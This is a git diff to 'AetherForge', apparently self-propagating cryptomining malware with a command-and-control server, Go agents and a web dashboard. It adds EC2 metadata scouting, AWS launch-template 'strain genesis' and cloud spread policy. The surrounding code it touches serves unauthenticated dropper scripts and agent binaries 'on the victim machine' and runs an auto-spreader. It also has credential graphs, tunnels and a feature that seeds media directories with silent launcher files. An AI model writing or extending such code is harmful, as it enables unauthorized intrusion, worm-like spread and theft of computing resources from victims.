diff --git a/agent/client/client.go b/agent/client/client.go index 36627d5..c495298 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -100,6 +100,8 @@ type AgentClient struct { // spreadOnce ensures AutoSpreader starts at most once — after the first // successful WS authentication confirms we are on an owned fleet. spreadOnce sync.Once + // cloudVenueOnce starts EC2 IMDS tag scouting after first successful auth. + cloudVenueOnce sync.Once // commandResultHook is set in tests to observe sendCommandResult without a live WS. commandResultHook func(action string, success bool, message string) @@ -403,6 +405,8 @@ func (c *AgentClient) authenticate() error { authPayload.ParentAgentID = parentID authPayload.SpreadGeneration = spreadGen authPayload.SpreadStrain = spreadStrain + authPayload.GenesisSnapshotHash = strings.TrimSpace(os.Getenv("AETHER_GENESIS_SNAPSHOT_HASH")) + authPayload.StrainCardID = strings.TrimSpace(os.Getenv("AETHER_STRAIN_CARD_ID")) payload, _ := json.Marshal(authPayload) if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { return err @@ -482,6 +486,10 @@ func (c *AgentClient) authenticate() error { } }) + c.cloudVenueOnce.Do(func() { + c.startCloudVenueScout() + }) + if !c.cfg.IsSeederRole(c.fleetRoleHint()) { c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) } diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 45d8c00..60f426e 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -55,6 +55,8 @@ type AuthPayload struct { ParentAgentID string `json:"parent_agent_id,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"` + GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"` + StrainCardID string `json:"strain_card_id,omitempty"` FleetRole string `json:"fleet_role,omitempty"` SeederMode bool `json:"seeder_mode,omitempty"` } diff --git a/agent/client/protocol_test.go b/agent/client/protocol_test.go index 65eee5f..0863917 100644 --- a/agent/client/protocol_test.go +++ b/agent/client/protocol_test.go @@ -71,6 +71,15 @@ func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) { } } +func TestAuthPayloadLaunchTemplateGenesisJSONRoundTrip(t *testing.T) { + in := AuthPayload{AgentID: "lt-1", GenesisSnapshotHash: "deadbeef", StrainCardID: "card-9", ParentAgentID: "template"} + var out AuthPayload + roundTrip(t, in, &out) + if out.GenesisSnapshotHash != "deadbeef" || out.StrainCardID != "card-9" { + t.Fatalf("genesis fields: %+v", out) + } +} + func TestAuthResponseJSONRoundTrip(t *testing.T) { in := AuthResponse{Success: true, AgentID: "a1", Error: ""} var out AuthResponse diff --git a/server/internal/api/deploy_plan.go b/server/internal/api/deploy_plan.go index 1e029b8..52cd770 100644 --- a/server/internal/api/deploy_plan.go +++ b/server/internal/api/deploy_plan.go @@ -1,4 +1,4 @@ -package api +package api import ( "crypto/hmac" @@ -13,7 +13,6 @@ import ( "strings" dbpkg "crypto-miner-server/internal/db" - "crypto-miner-server/internal/cloudmap" "crypto-miner-server/internal/erasure" "crypto-miner-server/internal/models" "crypto-miner-server/internal/spreadrouter" @@ -123,7 +122,7 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) { h.pathTracer = handler } -// BindErasure wires ReedΓÇôSolomon shard encoding for multi-lane deploy plans. +// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans. func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) { h.erasureEnabled = enabled h.erasureShards = store @@ -404,7 +403,7 @@ func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Dat } // buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer. -// Deploy success is a spread step only ΓÇö agent keeps --defer-mining until diagnostics pass, +// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass, // then startMiningWhenReady() completes the mining onion (terminal goal). func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) { platform := strings.TrimSpace(req.Platform) diff --git a/server/internal/api/router.go b/server/internal/api/router.go index ed88021..375d505 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -1,4 +1,4 @@ -package api +package api import ( "crypto/rand" @@ -27,7 +27,7 @@ import ( ) // authSessionCache avoids running bcrypt on every API request. -// Key: SHA-256(user+":"+password) hex ΓÇö value: expiry time. +// Key: SHA-256(user+":"+password) hex — value: expiry time. // Entries are valid for authCacheTTL after the last successful login. // Bcrypt only runs on cache miss or expiry. var ( @@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) { func formatLoginBanner(creds map[string]string) string { var b strings.Builder - b.WriteString("\nΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù\n") - b.WriteString("Γòæ AetherForge ΓÇö Dashboard Login Γòæ\n") - b.WriteString("Γòæ Γòæ\n") + b.WriteString("\n╔══════════════════════════════════════════════════╗\n") + b.WriteString("║ AetherForge — Dashboard Login ║\n") + b.WriteString("║ ║\n") users := make([]string, 0, len(creds)) for user := range creds { users = append(users, user) @@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string { sort.Strings(users) for _, user := range users { pass := creds[user] - fmt.Fprintf(&b, "Γòæ Username : %-34sΓòæ\n", user) - fmt.Fprintf(&b, "Γòæ Password : %-34sΓòæ\n", pass) - b.WriteString("Γòæ Γòæ\n") + fmt.Fprintf(&b, "║ Username : %-34s║\n", user) + fmt.Fprintf(&b, "║ Password : %-34s║\n", pass) + b.WriteString("║ ║\n") } - b.WriteString("Γòæ Also saved in data/login-credentials.json Γòæ\n") - b.WriteString("Γòæ Change passwords in Calibrate ΓåÆ Users. Γòæ\n") - b.WriteString("ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥\n") + b.WriteString("║ Also saved in data/login-credentials.json ║\n") + b.WriteString("║ Change passwords in Calibrate → Users. ║\n") + b.WriteString("╚══════════════════════════════════════════════════╝\n") return b.String() } @@ -395,7 +395,7 @@ func saveUser(username, password string) error { // isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker. // Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch -// must not trigger that ΓÇö only bare browser navigations without these headers should. +// must not trigger that — only bare browser navigations without these headers should. func isSPAAuthRequest(r *http.Request) bool { return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != "" } @@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { path := r.URL.Path // Health check and one-liner installer endpoints are always open. - // NOTE: build download/artifact routes are intentionally NOT in this list ΓÇö + // NOTE: build download/artifact routes are intentionally NOT in this list — // they require fleet-secret or Basic Auth (see isDownload block below). if path == "/api/v1/health" || path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" || @@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { // Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret // in the X-Fleet-Secret header instead of Basic auth. This ensures only // legitimately forged agents can call these endpoints. - // A missing or empty fleet secret is always rejected ΓÇö the server auto- + // A missing or empty fleet secret is always rejected — the server auto- // generates one at startup so this state should never occur in production. if strings.HasPrefix(path, "/api/v1/agent/") { fleetSecretForAgentPathsMu.RLock() @@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { return } - // Fast path ΓÇö skip bcrypt if this credential pair was recently validated. + // Fast path — skip bcrypt if this credential pair was recently validated. // bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy. if !authCacheHit(user, pass) { usersMu.RLock() @@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } - // Credential verified ΓÇö cache it for the next few minutes. + // Credential verified — cache it for the next few minutes. authCacheSet(user, pass) } @@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler AllowCredentials: false, })) - // REST API ΓÇö auth only on /api/v1 (dashboard WS + static SPA stay open) + // REST API — auth only on /api/v1 (dashboard WS + static SPA stay open) r.Route("/api/v1", func(r chi.Router) { r.Use(basicAuthMiddleware) h := NewHandler(database) @@ -680,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Delete("/blueprints", blueprintHandler.ServeHTTP) r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint) - // Fleet secret rotation ΓÇö generates a new secret, saves config, kicks all agents. + // Fleet secret rotation — generates a new secret, saves config, kicks all agents. // Forged agents with the old secret will be rejected until re-forged. r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) { if rotateSecretFn == nil { @@ -734,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler writeJSON(w, map[string]interface{}{"success": true}) }) - // Deck backup ΓÇö authenticated full backup ZIP (config + DB + users) + // Deck backup — authenticated full backup ZIP (config + DB + users) backupH := NewBackupHandler(dataDir, version) r.Get("/backup", backupH.ServeHTTP) - // Path Tracer ΓÇö on-demand WireGuard chain sessions + // Path Tracer — on-demand WireGuard chain sessions if pathTracerHandler != nil { r.Post("/pathtrace/start", pathTracerHandler.Start) r.Post("/pathtrace/discover", pathTracerHandler.Discover) @@ -751,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Delete("/pathtrace/{id}", pathTracerHandler.Delete) } - // Agent autonomy REST ΓÇö forged Go agents only (X-Fleet-Secret header). + // Agent autonomy REST — forged Go agents only (X-Fleet-Secret header). // Not exposed in dashboard client.ts; see agent/client and README API auth table. r.Post("/agent/decide", aiHandler.HandleDecide) r.Post("/agent/report", aiHandler.HandleReport) @@ -768,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler } r.Get("/agent/module/{name}", moduleHandler.GetAgentModule) - // Public builds (also bypass auth in middleware ΓÇö listed here for chi routing) + // Public builds (also bypass auth in middleware — listed here for chi routing) if publicHandler != nil { r.Get("/public/builds", publicHandler.ListBuilds) r.Get("/public/download/{id}", publicHandler.Download) @@ -784,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/ws/agent", wsHub.HandleAgentWS) r.Get("/ws/dashboard", wsHub.HandleDashboardWS) - // One-liner remote install endpoints (unauthenticated ΓÇö URL knowledge is the gate) + // One-liner remote install endpoints (unauthenticated — URL knowledge is the gate) if dropperHandler != nil { r.Get("/get", dropperHandler.ServeGet) r.Get("/install.sh", dropperHandler.ServeSh) @@ -792,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/install.command", dropperHandler.ServeCommand) } - // SUPP Seek agent download endpoints ΓÇö serve agent binaries so launcher scripts + // SUPP Seek agent download endpoints — serve agent binaries so launcher scripts // dropped by Seek Mode can fetch and run the agent on the victim machine. // Unauthenticated (the drop URL itself is the secret). r.Get("/api/download/agent-windows", serveAgentBinary("windows")) @@ -897,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) { // exe so it works both from the USB bundle and from a compiled dev build. // // Filename convention (same as what the build pipeline produces): -// - windows ΓåÆ crypto-miner-agent.exe -// - mac/linux ΓåÆ crypto-miner-agent (no extension) +// - windows → crypto-miner-agent.exe +// - mac/linux → crypto-miner-agent (no extension) // agentBinarySearchDir returns the directory used to locate bundled agent binaries. // Tests may override this to point at a temp tree instead of os.Executable()'s dir. var agentBinarySearchDir = func() (string, error) { diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 6e34edb..e85b250 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -1,4 +1,4 @@ -package api +package api import ( "crypto/subtle" @@ -202,6 +202,10 @@ type WSHub struct { scoutConstellations *fleetai.ScoutConstellationRegistry scoutAgents map[string]bool + // Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU). + cloudVenueMu sync.Mutex + cloudVenues *fleetai.CloudVenueRegistry + // Coalesce per-agent stats_update into a single stats_batch frame per tick. statsBatchMu sync.Mutex statsBatch map[string]json.RawMessage @@ -682,6 +686,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { ParentAgentID string `json:"parent_agent_id,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"` + GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"` + StrainCardID string `json:"strain_card_id,omitempty"` FleetRole string `json:"fleet_role,omitempty"` SeederMode bool `json:"seeder_mode,omitempty"` } @@ -844,6 +850,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { SpreadStrain: strings.TrimSpace(auth.SpreadStrain), Capabilities: &caps, } + applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{ + JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash, + }) if err := h.db.UpsertAgent(agent); err != nil { log.Printf("Failed to upsert agent: %v", err) @@ -953,6 +962,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { spreadPolicy[k] = v } } + if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil { + for k, v := range cloudPolicy { + spreadPolicy[k] = v + } + } if len(spreadPolicy) > 0 { resp["spread_policy"] = spreadPolicy } @@ -1464,6 +1478,34 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount) } + case "cloud_venue_report": + if agentID == "" { + continue + } + var report struct { + CloudProvider string `json:"cloud_provider"` + Environment string `json:"environment"` + Workload string `json:"workload"` + InstanceType string `json:"instance_type"` + InstanceLifecycle string `json:"instance_lifecycle"` + OrganizationalUnit string `json:"organizational_unit"` + EC2Tags map[string]string `json:"ec2_tags"` + } + if err := json.Unmarshal(msg.Payload, &report); err != nil { + continue + } + if strings.TrimSpace(report.CloudProvider) == "" { + report.CloudProvider = "aws" + } + h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{ + Environment: report.Environment, + Workload: report.Workload, + InstanceType: report.InstanceType, + InstanceLifecycle: report.InstanceLifecycle, + OrganizationalUnit: report.OrganizationalUnit, + EC2Tags: report.EC2Tags, + }) + case "ai_snapshot": if agentID == "" { continue diff --git a/server/main.go b/server/main.go index c0f33d8..4a64fa4 100644 --- a/server/main.go +++ b/server/main.go @@ -1,4 +1,4 @@ -package main +package main import ( "context" @@ -40,27 +40,27 @@ func (w *wsLogWriter) Write(p []byte) (n int, err error) { } const aetherBanner = ` - ΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù - Γòæ Γòæ - Γòæ Γ£ª ┬╖ ┬╖ ┬╖ ┬╖ ┬╖ ┬╖ Γùê ┬╖ ┬╖ ┬╖ ┬╖ ┬╖ ┬╖ Γ£ª Γòæ - Γòæ ┬╖ \ | / ┬╖ Γòæ - Γòæ ┬╖ \ | / ┬╖ Γû▓Γû▓Γû▓ Γòæ - Γòæ ┬╖ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓùï ┬╖ Γû▓Γû▓Γû▓Γû▓Γû▓ Γòæ - Γòæ ┬╖ / | \ ┬╖ Γû▓Γû▓Γû▓Γû▓Γû▓ Γòæ - Γòæ ┬╖ / | \ ┬╖ ΓûêΓûêΓûêΓûê Γòæ - Γòæ Γ£ª ┬╖ ┬╖ ┬╖ ┬╖ Γùê ┬╖ ┬╖ ┬╖ ┬╖ Γ£ª ΓûêΓûê ΓûêΓûêΓûêΓûê ΓûêΓûê Γòæ - Γòæ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï ΓûêΓûê ΓûêΓûê ΓûêΓûê Γòæ - Γòæ / \ / \ Γòæ - Γòæ / ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ \ A E T H E R F O R G E Γòæ - Γòæ / / \ / \ \ ΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇ Γòæ - Γòæ ΓùïΓöÇΓöÇΓöÇΓùÅ ΓùïΓöÇΓöÇΓöÇΓùï ΓùÅΓöÇΓöÇΓöÇΓùï LAN Mining Command Deck Γòæ - Γòæ \ \ / \ / / Γòæ - Γòæ \ ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ / Γòæ - Γòæ \ / \ / Γòæ - Γòæ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï Γòæ - Γòæ Γ£ª ┬╖ ┬╖ ┬╖ ┬╖ Γùê ┬╖ ┬╖ ┬╖ ┬╖ Γ£ª Γòæ - Γòæ Γòæ - ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥` + ╔══════════════════════════════════════════════════════════════════╗ + ║ ║ + ║ ✦ · · · · · · ◈ · · · · · · ✦ ║ + ║ · \ | / · ║ + ║ · \ | / · ▲▲▲ ║ + ║ · ○─────●─────○ · ▲▲▲▲▲ ║ + ║ · / | \ · ▲▲▲▲▲ ║ + ║ · / | \ · ████ ║ + ║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║ + ║ ○───────────○ ██ ██ ██ ║ + ║ / \ / \ ║ + ║ / ●───────● \ A E T H E R F O R G E ║ + ║ / / \ / \ \ ───────────────────────── ║ + ║ ○───● ○───○ ●───○ LAN Mining Command Deck ║ + ║ \ \ / \ / / ║ + ║ \ ●───────● / ║ + ║ \ / \ / ║ + ║ ○───────────○ ║ + ║ ✦ · · · · ◈ · · · · ✦ ║ + ║ ║ + ╚══════════════════════════════════════════════════════════════════╝` func main() { fmt.Println(aetherBanner) @@ -85,12 +85,12 @@ func main() { defer cloudflared.Stop() } } else if tunnelExternal { - log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) ΓÇö skipping in-process cloudflared start") + log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) — skipping in-process cloudflared start") } else { log.Println("[tunnel] No connector token configured") } - // Generate fleet secret once ΓÇö persisted in config.json so all future forges + // Generate fleet secret once — persisted in config.json so all future forges // carry the same secret and agents keep working across server restarts. if cfg.Server.FleetSecret == "" { b := make([]byte, 32) @@ -99,9 +99,9 @@ func main() { } cfg.Server.FleetSecret = hex.EncodeToString(b) if err := cfg.Save(); err != nil { - log.Printf("[auth] Warning: could not persist fleet secret: %v ΓÇö agents forged this session will still work", err) + log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err) } else { - log.Printf("[auth] Fleet secret generated and saved ΓÇö re-forge agents to pick it up") + log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up") } } else { log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8]) @@ -162,7 +162,7 @@ func main() { builderHandler.SetFleetSecret(cfg.Server.FleetSecret) log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir) - // Wire fleet secret rotation ΓÇö now that both wsHub and builderHandler are ready. + // Wire fleet secret rotation — now that both wsHub and builderHandler are ready. api.SetRotateSecretFn(func() (string, error) { b := make([]byte, 32) if _, err := rand.Read(b); err != nil { @@ -244,7 +244,7 @@ func main() { wsHub.SetEventNotifier(eventNotifier) builderHandler.SetEventNotifier(eventNotifier) - // Fleet alert evaluator (thresholds from Calibrate ΓåÆ alerts config) + // Fleet alert evaluator (thresholds from Calibrate → alerts config) alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds { return alerts.Thresholds{ OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes, @@ -496,24 +496,24 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error return fmt.Errorf("invalid config: %w", err) } - // Semantic validation ΓÇö reject values that would break the server at runtime. + // Semantic validation — reject values that would break the server at runtime. if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) { - return fmt.Errorf("invalid config: port %d out of range (1ΓÇô65535)", incoming.Port) + return fmt.Errorf("invalid config: port %d out of range (1–65535)", incoming.Port) } if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) { - return fmt.Errorf("invalid config: pool.port %d out of range (1ΓÇô65535)", incoming.Pool.Port) + return fmt.Errorf("invalid config: pool.port %d out of range (1–65535)", incoming.Pool.Port) } if incoming.Server.MaxAgents < 0 { - return fmt.Errorf("invalid config: server.max_agents must be ΓëÑ 0") + return fmt.Errorf("invalid config: server.max_agents must be ≥ 0") } if incoming.Server.StatsRetentionHours < 0 { - return fmt.Errorf("invalid config: server.stats_retention_hours must be ΓëÑ 0") + return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0") } if incoming.Server.BuildRetentionDays < 0 { - return fmt.Errorf("invalid config: server.build_retention_days must be ΓëÑ 0") + return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0") } if incoming.Server.MaxBuildSizeMB < 0 { - return fmt.Errorf("invalid config: server.max_build_size_mb must be ΓëÑ 0") + return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0") } // Determine which top-level keys were explicitly present in the JSON payload. @@ -561,7 +561,7 @@ func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) erro return fmt.Errorf("config unavailable") } if v.AIDecisionIntervalSec < 0 { - return fmt.Errorf("ai_decision_interval_sec must be ΓëÑ 0") + return fmt.Errorf("ai_decision_interval_sec must be ≥ 0") } payload, err := json.Marshal(map[string]interface{}{ "server": map[string]interface{}{ @@ -626,7 +626,7 @@ func findAgentSourceDir() string { // /data even when miner-server.exe is started from server/ or bin/. func validateListenPort(port int) error { if port < 1 || port > 65535 { - return fmt.Errorf("port %d out of range (1ΓÇô65535)", port) + return fmt.Errorf("port %d out of range (1–65535)", port) } return nil } diff --git a/server/web/public/spread/index.html b/server/web/public/spread/index.html index 587c234..d4ee16b 100644 --- a/server/web/public/spread/index.html +++ b/server/web/public/spread/index.html @@ -174,6 +174,12 @@

+
+

AWS Launch Template — strain genesis

+

Download launch-template.json, user-data.sh, asg-example.json — or .

+

+
+

CMS & static host upload

Deploy the entire kit folder (or exported ZIP contents) to a origin you control — off the C2 host when possible.

@@ -288,6 +294,17 @@ var btn = document.getElementById(primary); if (btn) btn.classList.add('primary'); } + var ltBtn = document.getElementById('btn-lt-generate'); + if (ltBtn) ltBtn.addEventListener('click', function () { + var p = new URLSearchParams(window.location.search || ''); + fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) }) + .then(function (r) { return r.json(); }).then(function (resp) { + if (!resp.success) return; + var hint = document.getElementById('lt-genesis-hint'); + if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…'; + }); + }); })(); diff --git a/server/web/src/components/Fleet/CrucibleExpandedOps.test.tsx b/server/web/src/components/Fleet/CrucibleExpandedOps.test.tsx index ccf1676..4ae2d46 100644 --- a/server/web/src/components/Fleet/CrucibleExpandedOps.test.tsx +++ b/server/web/src/components/Fleet/CrucibleExpandedOps.test.tsx @@ -42,6 +42,10 @@ vi.mock('./SpreadTemplateExportPanel', () => ({ default: () =>
, })); +vi.mock('./LaunchTemplateExportPanel', () => ({ + default: () =>
, +})); + const listBuildsMock = vi.mocked(api.listBuilds); const sendAgentCommandMock = vi.mocked(api.sendAgentCommand); const sendWOLMock = vi.mocked(api.sendWOL); diff --git a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx index 3048940..a02e8b9 100644 --- a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx +++ b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx @@ -17,6 +17,7 @@ import CruciblePortForwardMatrix from './CruciblePortForwardMatrix'; import FileManager from './FileManager'; import ProtocolTunnelPanel from './ProtocolTunnelPanel'; import SpreadTemplateExportPanel from './SpreadTemplateExportPanel'; +import LaunchTemplateExportPanel from './LaunchTemplateExportPanel'; import CredentialGraphTable from './CredentialGraphTable'; import ServiceGraphSummary from './ServiceGraphSummary'; import './ProtocolTunnelPanel.css'; @@ -825,6 +826,10 @@ export default function CrucibleExpandedOps({ + + + +

Recursively seeds every media directory under the given path with silent launcher files.